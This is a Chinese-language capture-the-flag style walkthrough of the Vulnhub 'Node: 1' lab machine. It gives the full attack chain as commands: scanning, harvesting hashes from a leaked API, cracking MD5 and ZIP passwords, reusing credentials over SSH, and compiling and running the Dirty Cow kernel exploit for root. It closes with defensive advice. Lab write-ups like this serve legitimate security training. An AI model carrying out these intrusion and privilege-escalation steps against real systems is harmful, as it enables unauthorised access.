Vulnhub Node:1 详解
字数 1309 2025-08-27 12:33:23
Vulnhub Node:1 靶机渗透测试详解
1. 信息收集阶段
1.1 网络发现
使用 arp-scan 工具发现目标IP:
arp-scan -l
发现目标IP为 192.168.92.129
1.2 端口扫描
使用 nmap 进行端口探测:
nmap -sV -p- 192.168.92.129
发现开放端口:
- 22/tcp - SSH服务
- 3000/tcp - Node.js Web服务
1.3 Web服务分析
访问 http://192.168.92.129:3000 发现是一个Node.js编写的Web界面
通过审计前端JavaScript代码,在 assets/js/app/controllers/home.js 文件中发现敏感信息端点:
// 代码中暴露了API端点
/api/users/latest/
2. 获取初始凭证
2.1 获取用户列表
访问 /api/users/latest/ 获取到用户凭证:
{
"username": "mark",
"password": "5f4dcc3b5aa765d61d8327deb882cf99"
}
2.2 密码破解
使用 hash-identifier 判断加密方式为MD5(原文误写为SHA-256):
hash-identifier 5f4dcc3b5aa765d61d8327deb882cf99
使用在线工具破解得到密码为 password
2.3 登录尝试
使用 mark:password 登录系统,发现普通用户权限有限,提示:
Only admin users have access to the control panel currently, but check back soon to test the standard user functionality!
2.4 获取管理员账户
访问 /api/users/ 获取完整用户列表,发现管理员账户:
{
"username": "myP14ceAdm1nAcc0uNT",
"password": "dffc504aa55359b9265cbebe432e2b00"
}
破解得到密码为 manchester
3. 获取源代码
3.1 管理员功能
使用 myP14ceAdm1nAcc0uNT:manchester 登录后,发现可以下载网站备份源码 myplace.zip
3.2 破解ZIP密码
使用 fcrackzip 进行字典破解:
fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt myplace.zip
得到密码:magicword
解压源代码:
unzip -P magicword myplace.zip
4. 代码审计与数据库访问
4.1 分析app.js
在解压的源代码中,app.js 文件包含MongoDB配置信息:
const MongoClient = require('mongodb').MongoClient;
MongoClient.connect('mongodb://mark:5AYRft73VtFpc84k@localhost:27017/myplace?authSource=myplace');
4.2 SSH登录
使用发现的数据库凭证 mark:5AYRft73VtFpc84k 成功SSH登录:
ssh mark@192.168.92.129
5. 权限提升
5.1 系统信息收集
查看系统版本信息:
lsb_release -a
uname -a
输出显示系统为Ubuntu 16.04,内核版本4.4.0-21-generic
5.2 漏洞利用
使用 searchsploit 查找可用漏洞:
searchsploit "Linux Kernel 4.4.0-21"
发现存在脏牛(Dirty Cow)漏洞(CVE-2016-5195)
5.3 上传并编译EXP
从攻击机上传EXP:
scp 40847.cpp mark@192.168.92.129:/tmp/
在目标机器上编译:
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
5.4 执行提权
运行编译后的程序:
./dcow
成功获取root权限
6. 获取Flag
6.1 用户Flag
cat /home/tom/user.txt
6.2 Root Flag
cat /root/root.txt
关键点总结
- API端点发现:通过审计前端JavaScript代码发现敏感API端点
- 密码破解:使用字典攻击破解MD5哈希和ZIP密码
- 凭证复用:数据库凭证成功用于SSH登录
- 内核漏洞利用:利用脏牛漏洞进行本地提权
参考工具列表
- arp-scan
- nmap
- hash-identifier
- fcrackzip
- searchsploit
- scp
- g++
防御建议
- 避免在前端代码中暴露敏感API端点
- 使用强密码策略,避免使用常见密码
- 及时更新系统和内核补丁
- 实现最小权限原则,避免凭证复用
- 对敏感文件进行适当权限控制